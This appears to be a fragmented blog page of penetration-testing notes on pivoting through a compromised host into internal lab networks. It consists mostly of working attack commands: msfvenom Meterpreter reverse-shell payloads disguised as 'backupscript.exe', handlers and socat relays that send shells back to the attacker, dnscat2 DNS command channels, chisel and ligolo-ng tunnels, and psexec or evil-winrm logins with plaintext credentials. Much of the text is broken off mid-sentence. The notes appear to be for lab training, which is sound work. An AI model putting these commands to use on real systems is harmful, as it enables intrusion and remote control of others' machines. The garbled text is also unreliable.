Hack. Eat. Sleep. Repeat!!!
HTTP
and HTTPS
traffic.If the packet were formed properly, it would be forwarded to our Control server. If it were not, it would be redirected to another website, potentially throwing off the defender checking it out.ifconfig
(in macOS and Linux) and ipconfig
(in Windows).netstat -r
and ip route
on windows.-N
to make it non verbose,Syntax-:ssh -N -L [attacker's port]:localhost:[internal service port] ubuntu@10.129.202.64
ssh -N -L [attacker's port]:localhost:[internal service port] -L [attacker's port]:localhost:[internal service port] ubuntu@10.129.202.64
Unlike the previous scenario where we knew which port to access, in our current scenario, we don’t know which services lie on the other side of the network. So, we can scan smaller ranges of IPs on the network (172.16.5.1-200) network or the entire subnet (172.16.5.0/23). We cannot perform this scan directly from our attack host because it does not have routes to the 172.16.5.0/23 network. To do this, we will have to perform dynamic port forwarding and pivot our network packets via the Ubuntu server. We can do this by starting a SOCKS listener on our local host (personal attack host or Pwnbox) and then configure SSH to forward that traffic via SSH to the network (172.16.5.0/23) after connecting to the target host.
This is called SSH tunneling over SOCKS proxy. SOCKS stands for Socket Secure, a protocol that helps communicate with servers where you have firewall restrictions in place. Unlike most cases where you would initiate a connection to connect to a service, in the case of SOCKS, the initial traffic is generated by a SOCKS client, which connects to the SOCKS server controlled by the user who wants to access a service on the client-side. Once the connection is established, network traffic can be routed through the SOCKS server on behalf of the connected client.
ssh -fND 9050 ubuntu@10.129.202.64
/etc/proxychains.conf
-:socks4 127.0.0.1 9050
proxychains nmap -sn 172.16.5.1-200
proxychains nmap -v -Pn -sT 172.16.5.19
or
proxychains nmap -sVT 172.16.5.19 -Pn
proxychains msfconsole
rdp_scanner
to check if rdp is running on port 3389
.search "rdp_scanner"
set rhosts <ip>
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
We have seen local port forwarding, where SSH can listen on our local host and forward a service on the remote host to our port, and dynamic port forwarding, where we can send packets to a remote network via a pivot host. But sometimes, we might want to forward a local service to the remote port as well. Let’s consider the scenario where we can RDP into the Windows host Windows A. As can be seen in the image below, in our previous case, we could pivot into the Windows host via the Ubuntu server.
172.16.5.0/23
network.If we start a Metasploit listener on our attack host and try to get a reverse shell, we won’t be able to get a direct connection here because the Windows server doesn’t know how to route traffic leaving its network (172.16.5.0/23) to reach the 10.129.x.x (the Academy Lab network).In this case,we might want to find a pivot host,which is a common connection point between our attack host and the Windows server.In our case, our pivot host would be the Ubuntu server since it can connect to both: our attack host and the Windows target. To gain a Meterpreter shell on Windows, we will create a Meterpreter HTTPS payload using msfvenom, but the configuration of the reverse connection for the payload would be the Ubuntu server’s host IP address (172.16.5.129). We will use the port 8080 on the Ubuntu server to forward all of our reverse packets to our attack hosts’ 8000 port, where our Metasploit listener is running.
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run
scp filename ubuntu@host:~/
Start a python web server on the Internal Pivost Host-:
Downloading the file on the victim windows server-:
ssh -R <InternalIPofPivotHost>:[listening port on internal host]:0.0.0.0:[target-Attacker'sport] ubuntu@<ipAddressofTarget> -vN
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ip] -f elf -o backupjob LPORT=8080
use exploit/multi/handler
set lhost 0.0.0.0
set lport 8080
set payload linux/x64/meterpreter/reverse_tcp
run
background
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run
jobs
-:socks4 127.0.0.1 9050
post/multi/manage/autoroute
module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.-:use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run
run autoroute -s 172.16.5.0/23
run autoroute -p
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
portfwd add -l <attacker's port> -p <remote port> -r <remote host>
portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8081
run
socat TCP4-LISTEN:[listening port on compromised's host],fork TCP4:[attacker'sip]:[attacker'sport]
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.129.210.63
set LPORT 8080
run
socat TCP4-LISTEN:[listening port],fork TCP4:[internal-ip]:[internal-port]
plink -ssh -D 9050 ubuntu@10.129.15.50
sshuttle
-:sudo apt-get install sshuttle
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
nmap -v -sV -p3389 172.16.5.19 -A -Pn
Let’s take an example of the below scenario where our compromised host is a Windows 10-based IT admin’s workstation (10.129.15.150, 172.16.5.25). Keep in mind that it is possible on an engagement that we may gain access to an employee’s workstation through methods such as social engineering and phishing. This would allow us to pivot further from within the network the workstation is in.
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
netsh.exe interface portproxy show v4tov4
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
sudo ruby dnscat2.rb --dns host=[your ip],port=53,domain=[domain name] --no-cache
git clone https://github.com/lukebaggett/dnscat2-powershell.git
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver [dns'ip] -Domain [domain] -PreSharedSecret [secret] -Exec cmd
?
to list commands-:window -i 1
git clone https://github.com/jpillora/chisel.git
upx brute chisel
./chisel server -v -p 1234 --socks5
./chisel client -v 10.129.202.64:1234 [port]:socks
socks5 127.0.0.1 1080
nmap
-:--reverse
mode, the option R:socks
is used to indicate reverse on our attack host.Reverse remotes specifying R:socks will listen on the server’s default socks port (1080) and terminate the connection at the client’s internal SOCKS5 proxy.--reverse
-:sudo ./chisel server --reverse -v -p 1234 --socks5
R:[port]:socks
-:./chisel client -v 10.10.15.4:1234 R:1080:socks
Proxifier
,use ProxifierPE.zip
Expand-Archive -Path "C:\path\to\your\file.zip" -DestinationPath "C:\path\to\destination"
regsvr32.exe SocksOverRDP-Plugin.dll
mstsc.exe
on non-admin command prompt,add host address first-:Show options
to set username and passwordsocksoverdp.exe
file to the host.
certutil.exe
to decode it
certutil -decode upload.txt upload.zip
netstat -aon | findstr "1080"
Proxifier
-:ip tuntap add user root mode tun ligolo
ip link set ligolo up
./proxy -selfcert
agent.exe
to the target with iwr./agent.exe -connect [ip]:11601 -ignore-cert
Ifconfig
reveals the existence of an internal network on 172.16.5.150/16
ligolo-ng
,To start the idea of pivoting to internal network, use the commands below to add the ip route-:sudo ip route add 172.16.0.0/16 dev ligolo
sudo ip route list
start
to create a tunnel on ligolo-ng, always start proxy with root-:Double pivoting-:It involves gaining to a third network from the first one using the second one as intermidiary-:
Login with impacket, install impacket with-:
git clone https://github.com/SecureAuthCorp/impacket.git impacket
cd impacket
sudo apt install python3-impacket
sudo python3 ./setup.py install
sudo cp /usr/bin/impacket-secretsdump /usr/bin/impacket-psexec
sudo chmod +x /usr/bin/impacket-psexec
sudo chown user:user /usr/bin/impacket-psexec
impacket-psexec [user]:[password]@172.16.5.19
evil-winrm -i [ip] -u [user] -p [password]
listener_add --addr [pivot-host which is the host that got compromised at first]:8001 --to 0.0.0.0:8001
5.19
11601
-:session
by using arrow keys-:172.16.6.*
ifcreate --name ligolo1
tunnel_start --tun ligolo1
route_add --name ligolo1 --route 172.16.6.0/24
sudo ip route del 172.16.0.0/16 dev ligolo
172.16.6.155
with rdp-: